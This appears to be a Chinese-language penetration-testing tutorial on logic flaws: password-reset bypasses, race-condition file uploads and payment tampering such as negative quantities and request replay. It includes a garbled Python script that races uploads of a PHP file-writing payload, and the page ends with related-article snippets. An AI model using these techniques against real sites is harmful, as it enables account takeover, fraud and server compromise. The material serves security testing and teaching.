邏輯漏洞是一種業務邏輯上的設計缺陷,業務流存在問題。這裡說一下密碼找回漏洞、多執行緒條件競爭漏洞和支付漏洞。
1、 測試流程先嘗試正確的密碼找回流程,記錄不同找回方式的所有資料報分析資料報,找到有效資料部分
推測資料構造方法
構造資料報驗證猜測
2、 分類
*
郵箱找回
一般是點選郵件中的鏈結後會轉跳到修密碼的頁面,這就需要分析鏈結的token構造了,
當構造相應鏈結時就可以重置任意使用者的密碼
*手機簡訊找回
簡訊找回一般就是4位或6位驗證碼,暴力猜測吧
*找回邏輯錯誤
若惡意使用者a用15123333333找回密碼,此時收到驗證碼但不使用
此時惡意使用者a再用受害者b的手機號找回密碼
使用者a在b的驗證表單填入自己收到的驗證碼,傳送
此時跳轉的修改密碼頁面修改的就是使用者b的密碼
*直接修改密碼
在修改密碼時跳過選擇找回方式,直接訪問修改密碼的頁面進行修改
*本地驗證
隨意輸入乙個驗證碼,開burp抓包,forward,抓返回包,返回包裡可能有乙個flag欄位,
若flag的值為1則跳轉到修改密碼頁面,所以只要修改返回包即可
*服務端將驗證碼返回給瀏覽器
在點選獲取驗證碼時,伺服器會將驗證碼傳送給瀏覽器,抓包即可
*驗證碼直接出現在url中
當點選獲取驗證碼時發出的請求鏈結中直接有code
*密保問題找回
回答密保問題,有時一些答案就在html原始碼裡
多執行緒條件競爭漏洞是一種服務端的漏洞,服務端是併發處理使用者請求的,若併發處理不當或相關操作邏輯設計有缺陷時就會產生一些安全問題。
如檔案上傳和一些資料庫操作
//uploads.php**如下,僅供測試:
"""200個執行緒上傳檔案aa.php,同時200個執行緒同時請求aa.php,aa.php中內容為
<?php fputs(fopen("info.php","w"),"<?php phpinfo(); ?>") ?>,
只要aa.php被請求成功就會生成內容為<?php phpinfo(); ?>的php檔案info.php
"""is_exit = false
def create_info():
global
is_exit
while not is_exit:url = ""resp = requests.get(url)
def put_file():
global
is_exit
upload_url = ""
while not is_exit:requests.post(upload_url,files=file
)def check_info():
global
is_exit
print "start threading check info.php:"url = ""
while
true:
print "check info.php..."resp = requests.get(url)
if resp.status_code == 200:is_exit = true
print "create file info.php success."
break
for x in xrange(1,200):t = threading.thread(target=create_info)
t.setdaemon(true
) t.start()
print "start create_into threading %d" %x
for x in xrange(1,200):t = threading.thread(target=put_file)
t.setdaemon(true
) t.start()
print "start put_file threading %d" %x
t = threading.thread(target=check_info)
t.setdaemon(true
)t.start()
try:
while t.isalive():pass
time.sleep(1)
except keyboardinterrupt:
print 'stopped by keyboard'
在資料庫進行update、delete等操作時使用多執行緒請求,可在一次update時間內完成多次update,和上面的檔案上傳其實是乙個原理
攻擊者通過修改交易金額、交易數量等從而利用漏洞,如burp修改交易金額、使交易數量為負數或無限大等。
*在支付時直接修改資料報中的支付金額,實現小金額購買大金額商品
*修改購買數量,使之為負數,可購買負數量商品,從而扣除負積分,即增加積分,
或使購買數量無限大,無限大時則程式可能處理出錯,從而實現0金額支付
* 請求重放,在購買成功後重放請求,可實現"一次購買對此收貨"
邏輯漏洞挖掘
邏輯漏洞就是攻擊者利用業務的設計缺陷,獲取敏感資訊或破壞業務的完整性。一般會有密碼修改,越權訪問,密碼找回,交易支付金額 俗稱薅羊毛 等。其中的越權訪問又有水平越權和垂直越權。檢測水平越權 檢測垂直越權 前端的js 中會有開發人員的痕跡,一些像邏輯驗證,審查的函式語句都會存在注釋,即使看不懂js語句...
邏輯漏洞概述
三 驗證機制 四.會話管理 五.許可權控制 六.業務邏輯 訪問在某種程度上來說,資訊保安就是通過如何訪問資訊資源來防範資源洩露或未經授權修改的工作。訪問就是主體 subiect 和客體 object 之間的資訊流動,主體是訪問中主動的實體,可以是程式 程序等 客體是被動的實體,可以是檔案 光碟 資料...
業務邏輯漏洞
業務邏輯漏洞是一類特殊的安全漏洞,業務邏輯漏洞屬於設計漏洞而非實現漏洞,是業務邏輯設計不嚴謹導致的漏洞。大多數業務邏輯漏洞沒有明顯的攻擊特徵,難以通過漏洞掃瞄的方式發現,也難以通過安全裝置來防護。繞過驗證 主要指身份驗證體系設計存在缺陷,可以使用某些技術手段繞過驗證機制冒用他人身份。越權訪問 主要指...